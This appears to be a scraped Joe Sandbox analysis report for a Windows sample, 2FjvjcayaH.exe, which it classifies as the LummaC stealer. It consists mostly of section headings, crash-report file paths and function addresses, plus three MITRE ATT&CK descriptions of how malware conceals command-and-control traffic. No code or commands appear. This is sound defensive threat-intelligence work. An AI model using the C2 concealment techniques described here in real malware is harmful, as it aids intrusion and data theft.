Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2FjvjcayaH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2FjvjcayaH.exe_363a9054c440a65f09d92467b29511a9aaf17_22fc85c3_f909bf4d-7151-41f6-a060-721012387cc8\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2FjvjcayaH.exe_629f4833c94957fd7494c037d86647ccd7cf21e6_22fc85c3_aa0fd20e-f8d8-45c3-bd22-9875b6de912b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER94E4.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER95C0.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER95F0.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9830.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C96.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9CB6.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
2FjvjcayaH.exe

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Function 01BB003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON